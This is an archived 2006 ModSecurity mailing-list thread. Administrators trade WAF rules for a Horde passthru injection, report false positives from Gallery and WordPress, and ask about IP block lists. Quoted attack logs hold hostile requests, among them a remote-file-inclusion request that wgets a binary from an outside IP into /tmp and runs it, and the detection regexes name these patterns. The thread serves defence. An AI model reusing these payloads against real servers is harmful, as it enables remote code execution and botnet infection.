From rhelfter at datapipe.com Mon Jun 5 17:06:11 2006 From: rhelfter at datapipe.com (Ryan E. Helfter) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] new Horde rule Message-ID: Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/gif Size: 2357 bytes Desc: image001.gif Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060605/9c09de53/attachment.gif From rhelfter at datapipe.com Mon Jun 5 17:13:51 2006 From: rhelfter at datapipe.com (Ryan E. Helfter) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] new Horde rule Message-ID: Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/gif Size: 2357 bytes Desc: image001.gif Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060605/e406ccb7/attachment.gif From mike at gotroot.com Mon Jun 5 18:03:08 2006 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] new Horde rule In-Reply-To: References: Message-ID: <1149544988.25740.2.camel@localhost.localdomain> Thanks for the Rule Ryan. How about this one, would it work for as well: SecFilterSelective REQUEST_URI "/services/help(/)?\?(.*)?\&module=.*passthru\(.*\)" "id:390066,rev:1,severity:2,msg:'JITP: Horde passthru exploit'" On Mon, 2006-06-05 at 17:13 -0400, Ryan E. Helfter wrote: > Whoops: the rule should be: > > > > SecFilterSelective THE_REQUEST > "GET .*/services/help(/)?\?(.*)?\&modules=.*passthru.*" > > > > Regards, > > Ryan E. Helfter > UNIX Security Engineer > > > DataPipe Managed Hosting Services > > - What It Means To Be Sure - > > rhelfter@datapipe.com | http://www.datapipe.com > Tel: 201.792.1918 x300 | Fax: 201-792-3090 > > > > > > ______________________________________________________________________ > From: modsecurity-bounces@gotroot.com > [mailto:modsecurity-bounces@gotroot.com] On Behalf Of Ryan E. Helfter > Sent: Monday, June 05, 2006 5:06 PM > To: modsecurity@gotroot.com > Subject: [Modsecurity] new Horde rule > > > > > I have been noticing a lot of passthru injections to Horde. > (unfortunately, we cannot disable all passthru functions by default, > i.e. via php.ini) > > > > So if you are like me. > > > > Get line from apache logs > > > > [28/May/2006:03:09:25 -0700] > "GET //horde//services/help/?show=about&module=;%22.passthru(%22w% > 22);'. HTTP/1.1" 200 735 "-" "Nozilla/P.N (Just for IDS woring)" > > > > Mod_security rule: > > > > SecFilterSelective THE_REQUEST "GET .*/services/help(/)?\?show=about > \&modules=.*passthru.*" > > > > > > > > Regards, > > Ryan E. Helfter > UNIX Security Engineer > > > DataPipe Managed Hosting Services > > - What It Means To Be Sure - > > rhelfter@datapipe.com | http://www.datapipe.com > Tel: 201.792.1918 x300 | Fax: 201-792-3090 > > > > > > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From keb at pa.net Mon Jun 5 18:09:10 2006 From: keb at pa.net (Kevin Bonner) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] new Horde rule In-Reply-To: <1149544988.25740.2.camel@localhost.localdomain> References: <1149544988.25740.2.camel@localhost.localdomain> Message-ID: <200606051809.13944.keb@pa.net> On Monday 05 June 2006 18:03, Michael Shinn wrote: > Thanks for the Rule Ryan. How about this one, would it work for as > well: > > SecFilterSelective REQUEST_URI > "/services/help(/)?\?(.*)?\&module=.*passthru\(.*\)" > "id:390066,rev:1,severity:2,msg:'JITP: Horde passthru exploit'" > > On Mon, 2006-06-05 at 17:13 -0400, Ryan E. Helfter wrote: > > SecFilterSelective THE_REQUEST > > "GET .*/services/help(/)?\?(.*)?\&modules=.*passthru.*" Check your plurality please. modules != module Ryan's original post had "module=" in the GET string, but "modules=" in the rule. Which is correct? Thanks, Kevin Bonner -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 191 bytes Desc: not available Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060605/fad1bc3a/attachment.bin From mike at gotroot.com Mon Jun 5 20:50:21 2006 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] new Horde rule In-Reply-To: <200606051809.13944.keb@pa.net> References: <1149544988.25740.2.camel@localhost.localdomain> <200606051809.13944.keb@pa.net> Message-ID: <1149555021.3560.4.camel@localhost.localdomain> The change was deliberate. You can even see it in his audit_log entry that the attack called module= and not modules=. On Mon, 2006-06-05 at 18:09 -0400, Kevin Bonner wrote: > On Monday 05 June 2006 18:03, Michael Shinn wrote: > > Thanks for the Rule Ryan. How about this one, would it work for as > > well: > > > > SecFilterSelective REQUEST_URI > > "/services/help(/)?\?(.*)?\&module=.*passthru\(.*\)" > > "id:390066,rev:1,severity:2,msg:'JITP: Horde passthru exploit'" > > > > On Mon, 2006-06-05 at 17:13 -0400, Ryan E. Helfter wrote: > > > SecFilterSelective THE_REQUEST > > > "GET .*/services/help(/)?\?(.*)?\&modules=.*passthru.*" > > Check your plurality please. > > modules != module > > Ryan's original post had "module=" in the GET string, but "modules=" in the > rule. Which is correct? > > Thanks, > Kevin Bonner > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From idefix at fechner.net Tue Jun 6 02:21:47 2006 From: idefix at fechner.net (Matthias Fechner) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] Rule for php-sourcecode Message-ID: <20060606062147.GF28165@server.idefix.loc> Hi, is it possible to write a rule to prevent apache22 from delivering php source code? Best regards, Matthias -- "Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the universe trying to produce bigger and better idiots. So far, the universe is winning." -- Rich Cook From gerard at whitecurve.com Tue Jun 6 07:25:15 2006 From: gerard at whitecurve.com (Gerard Earley) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] Rule for php-sourcecode In-Reply-To: <20060606062147.GF28165@server.idefix.loc> References: <20060606062147.GF28165@server.idefix.loc> Message-ID: <4485661B.5000706@whitecurve.com> Unless there was a specific http variable used its not really possible for mod_security to do anything about it. (AFAIK) On the other hand you could use disable_functions in the php.ini file to disable the functions "highlight_file" and "highlight_string". This would at least stop someone using these functions to display code through this method. Matthias Fechner wrote: > Hi, > > is it possible to write a rule to prevent apache22 from delivering php > source code? > > Best regards, > Matthias > > -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3326 bytes Desc: S/MIME Cryptographic Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060606/09515bc9/smime.bin From etharp at earthlink.net Sat Jun 10 09:34:57 2006 From: etharp at earthlink.net (ET) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] hello, newbie user here Message-ID: <448ACA81.4030505@earthlink.net> as this is my first post to this list, I want to first say hello, and thanks for mod_security. now to my real question. I run a 'hobby' Apache 2 (on Mandrivia 2006) webserver off my home computer and cable modem connection, (runnig mod security, now, of course) and I have always read the webserver's logs, recently I saw a known PHP exploit that mod security stopped; 194.242.112.72 - - [09/Jun/2006:03:16:45 -0400] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://72.18.195.161/cmd.gif?&cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;./lnikon;echo%20YYY;echo| HTTP/1.1" 500 2659 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" I normally do a whois lookup and notify the owners of the offending IPs, and ask for them to secure the boxes. In this particular log entry for this exploit, I noticed not only the offending IP of 194.242.112.72, but also a couple of pages at 72.18.195.161, mainly; "http://72.18.195.161/cmd.gif", and "72.18.195.161/lnikon". I had seen that "command.gif" is really a text file, but had not seen the "lnikon", and so I clicked and saved the "lnikon" file, which in turn called 2 files, one named "linux-kernel: and one called "linux-mkdir" both of which are binary files. if I open the files with "khexedit" I can "extract strings" and see a few entries with "newchrousty.org" in the name (Sympatico.Qc.Ca.newchrousty.org, Chat.newchrousty.org, micro-ISP.newchrousty.org, LaLiPus.newchrousty.org, Trois-Rivieres.QC.Ca.newchrousty.org, IRC.newchrousty.org,) and I also note the "72.18.195.161/" IP to be written into the script for the 'linux-mkdir' file as is the IPs '24.224.174.18' and '81.223.104.152' Since these IPs do not show up in spamcops black lists, I am wondering if and to whom I should be reporting this info to? or should I not care, am I worrying about something there is no cure for at this time?? -- reg. Linux User 167806 webhome http://ed-tharp.is-a-geek.org From rob at catalyst2.net Sat Jun 10 12:23:09 2006 From: rob at catalyst2.net (Rob Shakir) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] hello, newbie user here In-Reply-To: <448ACA81.4030505@earthlink.net> References: <448ACA81.4030505@earthlink.net> Message-ID: <448AF1ED.1040408@catalyst2.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ET wrote: > I normally do a whois lookup and notify the owners of the offending IPs, > and ask for them to secure the boxes. IME this is the right thing to do. Be sure to use the address that is intended for abuse, if there is one readily available (in the RIPE database a good proportion of the records show listed abuse contacts). . > I had seen that "command.gif" is really a text file, but had not seen > the "lnikon", and so I clicked and saved the "lnikon" file, which in > turn called 2 files, one named "linux-kernel: and one called > "linux-mkdir" both of which are binary files. if I open the files with > "khexedit" I can "extract strings" and see a few entries with > "newchrousty.org" in the name (Sympatico.Qc.Ca.newchrousty.org, > Chat.newchrousty.org, micro-ISP.newchrousty.org, > LaLiPus.newchrousty.org, Trois-Rivieres.QC.Ca.newchrousty.org, > IRC.newchrousty.org,) and I also note the "72.18.195.161/" IP to be > written into the script for the 'linux-mkdir' file as is the IPs > '24.224.174.18' and '81.223.104.152' > > Since these IPs do not show up in spamcops black lists, I am wondering > if and to whom I should be reporting this info to? or should I not care, > am I worrying about something there is no cure for at this time?? What evidence do you have that these IPs are a source of spam? Blindly reporting the IPs as spam sources causes inconvenience for sysadmins whose servers are reported when in fact there is no evidence for it. One should only report an IP as a spam source if there's actually evidence that there is spam being relayed by that machine. newchrousty.org appears to be an IRC network (verifiable by visiting their website at http://www.newchrousty.org) - it's not uncommon for IRC drones to be created using scripts such as this - as such, it's nothing "major" to worry about - many IRC networks take pro-active measures to kill drones, but letting the network operators know that there are exploits being used that are connecting to their servers, along with a copy of the binary, could be useful. I know that Undernet have a team who are interested in the binaries that are creating drones on their network. The other two IPs appear to be referencing different endpoints on access networks. Without further knowledge of how these addresses are referenced, there's nothing really further you can do with them. Keep on letting the abuse contacts of the boxes you're seeing trying to exploit your server know about it - but beware of digging too deep and generating large numbers of abuse reports with insufficient evidence Regards, Rob - -- Rob Shakir - Technical Manager - Catalyst2 Services Ltd. PGP Key ID: 0xC07E6DEB / RIPE: RJS-RIPE -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFEivHsIbIhVcB+besRAq/iAJ9fNtCptUM9znP9eF5gqmH/r6KK4gCfcRnT hpRGwn2V/mVkdlqY3l5lV7w= =HPLe -----END PGP SIGNATURE----- From Elric_Melnibone at elricm.com Sat Jun 10 21:39:05 2006 From: Elric_Melnibone at elricm.com (Elric Melnibone) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] False Positive from Gallery application Message-ID: <006f01c68cf7$d3b282a0$0200a8c0@Winter> This rule: #really broad furl_fopen attack sig #tune this for your system SecFilterSelective REQUEST_URI "!(banner_click|wp-login|tiki-view_cache|/horde/index|/horde/services/go|/goto|g allery2?/main)" chain SecFilterSelective REQUEST_URI "\.php(3|4|5)?(\?|&).*=(ht|f)tps?:/.*(\?|&)" Causes a false positive when a Gallery user tries to create a new album. At least for those that have Gallery imbedded into PostNuke which two of the domains on my server do. Here's two audit entries from two different users: ==a3a30c72============================== Request: www.DOMAINA.com - - [10/Jun/2006:20:28:25 --0500] "GET /nuke/html/modules/gallery/do_command.php?return=http%3A%2F%2Fwww.DOMAINA.com%2F nuke%2Fhtml%2Fmodules%2Fgallery%2Fview_album.php&cmd=new-album HTTP/1.1" 500 1402 "http://www.DOMAINA.com/nuke/html/modules/gallery/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" wAp60UIczXUAAFyP0c8AAAAM "-" ---------------------------------------- GET /nuke/html/modules/gallery/do_command.php?return=http%3A%2F%2Fwww.DOMAINA.com%2F nuke%2Fhtml%2Fmodules%2Fgallery%2Fview_album.php&cmd=new-album HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.DOMAINA.com/nuke/html/modules/gallery/ Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Host: www.DOMAINA.com Connection: Keep-Alive Cookie: POSTNUKESID=f4a0458a85a5ff7cc62c85510811469f; POSTNUKESID=aec2dac49a491e304beaa804257b632d; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3BN%3Bs%3A6%3A%22userid%2 2%3Bs%3A1%3A%222%22%3B%7D; gallery_session_add_photos_mode=form; phpbb2mysql_sid=5c52ed124857e5d615753e6bd65d0421; phpbb2mysql_t=a%3A3%3A%7Bi%3A1057%3Bi%3A1149827453%3Bi%3A114%3Bi%3A1149861963%3B i%3A1058%3Bi%3A1149862021%3B%7D; PHPSESSID=aa50a71cddfcc06039a7a5d6dfe368c4; testing=1; sid=8c8eb42eadfcdc742030e34513a7e951 mod_security-action: 500 mod_security-message: Access denied with code 500. Pattern match "\\.php(3|4|5)?(\\?|&).*=(ht|f)tps?:/.*(\\?|&)" at REQUEST_URI HTTP/1.1 500 Internal Server Error Last-Modified: Tue, 06 Sep 2005 04:00:25 GMT ETag: "134043-57a-77bb0840" Accept-Ranges: bytes Content-Length: 1402 Connection: close Content-Type: text/html --a3a30c72-- ==c164ef16============================== Request: morrowind.DOMAINB.com - - [10/Jun/2006:20:23:27 --0500] "GET /modules/gallery/do_command.php?return=http%3A%2F%2Fmorrowind.DOMAINB.com%2Fmodu les%2Fgallery%2Fview_album.php&cmd=new-album HTTP/1.1" 500 1408 "http://morrowind.DOMAINB.com/modules/gallery/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" rkLfukIczXUAAAY8gMAAAAAI "-" ---------------------------------------- GET /modules/gallery/do_command.php?return=http%3A%2F%2Fmorrowind.DOMAINB.com%2Fmodu les%2Fgallery%2Fview_album.php&cmd=new-album HTTP/1.1 Accept: */* Referer: http://morrowind.DOMAINB.com/modules/gallery/ Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Host: morrowind.DOMAINB.com Connection: Keep-Alive Cookie: pnphpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A 6%3A%22userid%22%3Bs%3A1%3A%223%22%3B%7D; POSTNUKESID=df57897f8dcbe1c40eb870d8789843c5; PHPSESSID=34c42d9461125024a0929be9e98201a1 mod_security-action: 500 mod_security-message: Access denied with code 500. Pattern match "\\.php(3|4|5)?(\\?|&).*=(ht|f)tps?:/.*(\\?|&)" at REQUEST_URI HTTP/1.1 500 Internal Server Error Last-Modified: Tue, 06 Sep 2005 04:01:49 GMT ETag: "db401f-580-7cbcc540" Accept-Ranges: bytes Content-Length: 1408 Connection: close Content-Type: text/html --c164ef16-- -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20060610/caa6538a/attachment.html From n0nam3d at gmail.com Wed Jun 14 02:41:33 2006 From: n0nam3d at gmail.com (Marco) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] False positive with wordpress Message-ID: <1e62439a0606132341l7d1f27b5pd53252382bf66bd8@mail.gmail.com> ==2b934b7d============================== Request: domain.org 1.1.1.1 - - [13/Jun/2006:23:23:22 +0200] "POST /wp-admin/options.php HTTP/1.1" 403 230 "http://www.domain.org/wp-admin/options-reading.php" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; ca; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4" - "-" ---------------------------------------- POST /wp-admin/options.php HTTP/1.1 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Encoding: gzip,deflate Accept-Language: ca,en-us;q=0.7,en;q=0.3 Connection: keep-alive Content-Length: 248 Content-Type: application/x-www-form-urlencoded Cookie: __utma=190344233.410670418.1149331402.1150180411.1150233323.15; __utmz=190344233.1149331402.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); dbx-postmeta=grabit=0+,1-,2-,3+,4+,5+,6+; dbx-pagemeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-; __utmb=190344233; __utmc=190344233; wordpressuser_9b2c71634a5e5e2eed718650a420ecab=user; wordpresspass_9b2c71634a5e5e2eed718650a420ecab=ey56uc2e56ai0aa8adcadd042c236b54 Host: www.domain.org Keep-Alive: 300 Referer: http://www.domain.org/wp-admin/options-reading.php User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; ca; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 mod_security-action: 403 mod_security-message: Access denied with code 403. Pattern match "((alter|create|drop)[[:space:]]+(column|database|procedure|table)|delete[[:space:]]+from|update.+set.+=)" at POST_PAYLOAD [id "300015"][rev "1"] [msg "Generic SQL injection protection"] [severity "CRITICAL"] 248 posts_per_page=10&what_to_show=posts&posts_per_rss=10&rss_use_excerpt=1&blog_charset=UTF-8&action=update&page_options=posts_per_page%2Cwhat_to_show%2Cposts_per_rss%2Crss_use_excerpt%2Cblog_charset%2Cgzipcompression&Submit=Actualitzar+opcions+%C2%BB HTTP/1.1 403 Forbidden Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 --2b934b7d-- -- Blog: http://p0l0.binware.org Registered GNU/Linux User #364546 From rhelfter at datapipe.com Wed Jun 14 15:34:07 2006 From: rhelfter at datapipe.com (Ryan E. Helfter) Date: Mon Jan 7 18:22:31 2008 Subject: [Modsecurity] new Horde rule Message-ID: I apologize for not getting back to this sooner. I mistakenly put "modules" into my original rule, which was incorrect. I have verified that the following: SecFilterSelective REQUEST_URI "/services/help(/)?\?(.*)?\&module=.*passthru\(.*\)" "id:390066,rev:1,severity:2,msg:'JITP: Horde passthru exploit'" (obviously in one line, damn text wrap) ... does work. Regards, -- Ryan E. Helfter UNIX Security Engineer DataPipe Managed Hosting Services - What It Means To Be Sure - rhelfter@datapipe.com | http://www.datapipe.com Tel: 201.792.1918 x300 | Fax: 201-792-3090 -----Original Message----- From: modsecurity-bounces@gotroot.com [mailto:modsecurity-bounces@gotroot.com] On Behalf Of Michael Shinn Sent: Monday, June 05, 2006 8:50 PM To: Kevin Bonner Cc: modsecurity@gotroot.com Subject: Re: [Modsecurity] new Horde rule The change was deliberate. You can even see it in his audit_log entry that the attack called module= and not modules=. On Mon, 2006-06-05 at 18:09 -0400, Kevin Bonner wrote: > On Monday 05 June 2006 18:03, Michael Shinn wrote: > > Thanks for the Rule Ryan. How about this one, would it work for as > > well: > > > > SecFilterSelective REQUEST_URI > > "/services/help(/)?\?(.*)?\&module=.*passthru\(.*\)" > > "id:390066,rev:1,severity:2,msg:'JITP: Horde passthru exploit'" > > > > On Mon, 2006-06-05 at 17:13 -0400, Ryan E. Helfter wrote: > > > SecFilterSelective THE_REQUEST > > > "GET .*/services/help(/)?\?(.*)?\&modules=.*passthru.*" > > Check your plurality please. > > modules != module > > Ryan's original post had "module=" in the GET string, but "modules=" in the > rule. Which is correct? > > Thanks, > Kevin Bonner > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com _______________________________________________ Modsecurity mailing list Modsecurity@gotroot.com http://lists.gotroot.com/mailman/listinfo/modsecurity From gonen.r at gmail.com Thu Jun 15 02:00:53 2006 From: gonen.r at gmail.com (gonen.r) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] how do i exclude ? Message-ID: <4490F795.7030206@gmail.com> An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20060615/d3aa7c4d/attachment.html From Steve.Cox at mergermarket.com Wed Jun 21 06:27:08 2006 From: Steve.Cox at mergermarket.com (Steve Cox) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Page blocked by miscoding in sugarcrm Message-ID: Hi, I'm getting the following error in the apache error log: [Wed Jun 21 11:11:47 2006] [error] [client ww.xx.yy.zz] mod_security: Access denied with code 500. Error normalizing REQUEST_URI: Invalid URL encoding detected: invalid characters used [hostname "server.mysite.com"] [uri "/sugarcrm/index.php?module=Contacts&action=index&query=true&advanced=tr ue&button=Search&email=%&Contacts_CONTACT_offset=-100"] The actual problem is with the php code in sugarcrm - generating the segment "&email=%&" rather than "&email=%25&" I'm looking to have that fixed, but in the meantime, can anybody let be know the rule that would cause this so I can add a temporary entry to exclude.conf for this URL Thanks Steve From Steve.Cox at mergermarket.com Thu Jun 22 05:10:24 2006 From: Steve.Cox at mergermarket.com (Steve Cox) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Page blocked by miscoding in sugarcrm Message-ID: It's pretty much the standard gotroot rule-set for apache2 with a few extra exceptions for local false positives caused when entering data into sugarcrm. I'm running version 1.8.7 so it's a bit behind but it's the current deb install for Ubuntu5.10. Could you tell me how to disable modsecurity for that URL - or more sepecfically, the leading part of the URL? IE /sugarcrm/index.php?module=Contacts&action=index&query=true Many thanks -----Original Message----- From: Michael Shinn [mailto:mike@gotroot.com] Sent: 21 June 2006 22:36 To: Steve Cox Subject: Re: [Modsecurity] Page blocked by miscoding in sugarcrm Its internal to modsecurity, so its not a rule. You may have to turn off modsec for that URL. What does your modsec config look like? On Wed, 2006-06-21 at 11:27 +0100, Steve Cox wrote: > Hi, > > I'm getting the following error in the apache error log: > > [Wed Jun 21 11:11:47 2006] [error] [client ww.xx.yy.zz] mod_security: > Access denied with code 500. Error normalizing REQUEST_URI: Invalid URL > encoding detected: invalid characters used [hostname > "server.mysite.com"] [uri > "/sugarcrm/index.php?module=Contacts&action=index&query=true&advanced=tr > ue&button=Search&email=%&Contacts_CONTACT_offset=-100"] > > > > The actual problem is with the php code in sugarcrm - generating the > segment "&email=%&" rather than "&email=%25&" > > I'm looking to have that fixed, but in the meantime, can anybody let be > know the rule that would cause this so I can add a temporary entry to > exclude.conf for this URL > > Thanks > Steve > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From fbsd at 1command.com Fri Jun 23 04:33:21 2006 From: fbsd at 1command.com (Chris H.) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets Message-ID: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> Greetings, I have a question regarding the required syntax for rulesets. I have been previously been using deny, allow rules for rouge IP's and currently have a list of approximately 500 current and verified offenders. With the deny,allow syntax rules, it is possible to simply string them in a space seperated list with double quotes on either end - eg; "xx.yyy.zz.zzz xxx.xx.xxx.xxx yy.yy.yyyy.yy" Is it possible to use a similar approach with rulesets in mod_security? I can't imagine having to convert my current set to: SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX" 500 (and more) times. Can they be seperated by pipe, colon, or space? As in: SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ" SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX:YY.YYY.YY.YYY:ZZZ.ZZ.ZZ.ZZ" SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX YY.YYY.YY.YYY ZZZ.ZZ.ZZ.ZZ" or similar? Thank you for all your time and consideration. --Chris H. -- panic: kernel trap (ignored) ----------------------------------------------------------------- FreeBSD 5.4-RELEASE-p12 (SMP - 900x2) Tue Mar 7 19:37:23 PST 2006 ///////////////////////////////////////////////////////////////// -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: PGP Digital Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/4d234765/attachment.bin From mike at gotroot.com Fri Jun 23 16:18:02 2006 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> Message-ID: <1151093882.4004.2.camel@localhost.localdomain> modsec rules are expressed as regular expressions. For example, a list of OR cases would be (IP1|IP2|ip3|etc.), or you could use a range 1.2.3.[0-255]. And there are many other means by which you could do this, as long as its a valid regular expression it will work. On Fri, 2006-06-23 at 01:33 -0700, Chris H. wrote: > Greetings, > I have a question regarding the required syntax for rulesets. > I have been previously been using deny, allow rules for rouge > IP's and currently have a list of approximately 500 current and > verified offenders. With the deny,allow syntax rules, it is possible > to simply string them in a space seperated list with double quotes > on either end - eg; "xx.yyy.zz.zzz xxx.xx.xxx.xxx yy.yy.yyyy.yy" > Is it possible to use a similar approach with rulesets in > mod_security? I can't imagine having to convert my current set > to: > > SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX" > > 500 (and more) times. Can they be seperated by pipe, colon, or > space? As in: > > SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ" > SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX:YY.YYY.YY.YYY:ZZZ.ZZ.ZZ.ZZ" > SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX YY.YYY.YY.YYY ZZZ.ZZ.ZZ.ZZ" > > or similar? > > Thank you for all your time and consideration. > > --Chris H. > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From fbsd at 1command.com Fri Jun 23 20:31:51 2006 From: fbsd at 1command.com (Chris H.) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <1151093882.4004.2.camel@localhost.localdomain> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> Message-ID: <20060623173151.ixrb82dwgkggok80@webmail.1command.com> Hello, and thank you for your response... Quoting Michael Shinn: > modsec rules are expressed as regular expressions. Indeed. This is stated in the manual. > For example, a list > of OR cases would be (IP1|IP2|ip3|etc.), or you could use a range > 1.2.3.[0-255]. Correct, your example(s) are expressed as regular expressions. Given your (somewhat terse) example(s), I am still left with the question as to what mod_security considers /correct/ syntax. Given the following example(s), is it enough to use: SecFilterSelective "REMOTE_IP" "(XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ)" or is that not enough. If I'm not mistaken, it _needs_ to be correctly expressed as: SecFilterSelective "REMOTE_IP" "(^XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ$)" (note: the caret and dollar sign, which you chose to omit in your example). or must it be expressed as: SecFilterSelective "REMOTE_IP" "(^XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ\.ZZ\.ZZ\.ZZ$)" As you can see, all three of my examples - well, maybe just the last two, are expressed in RegExp. Can I /correctly/ assume that any of them will work correctly? Thank you again for your reply. --Chris > And there are many other means by which you could do > this, as long 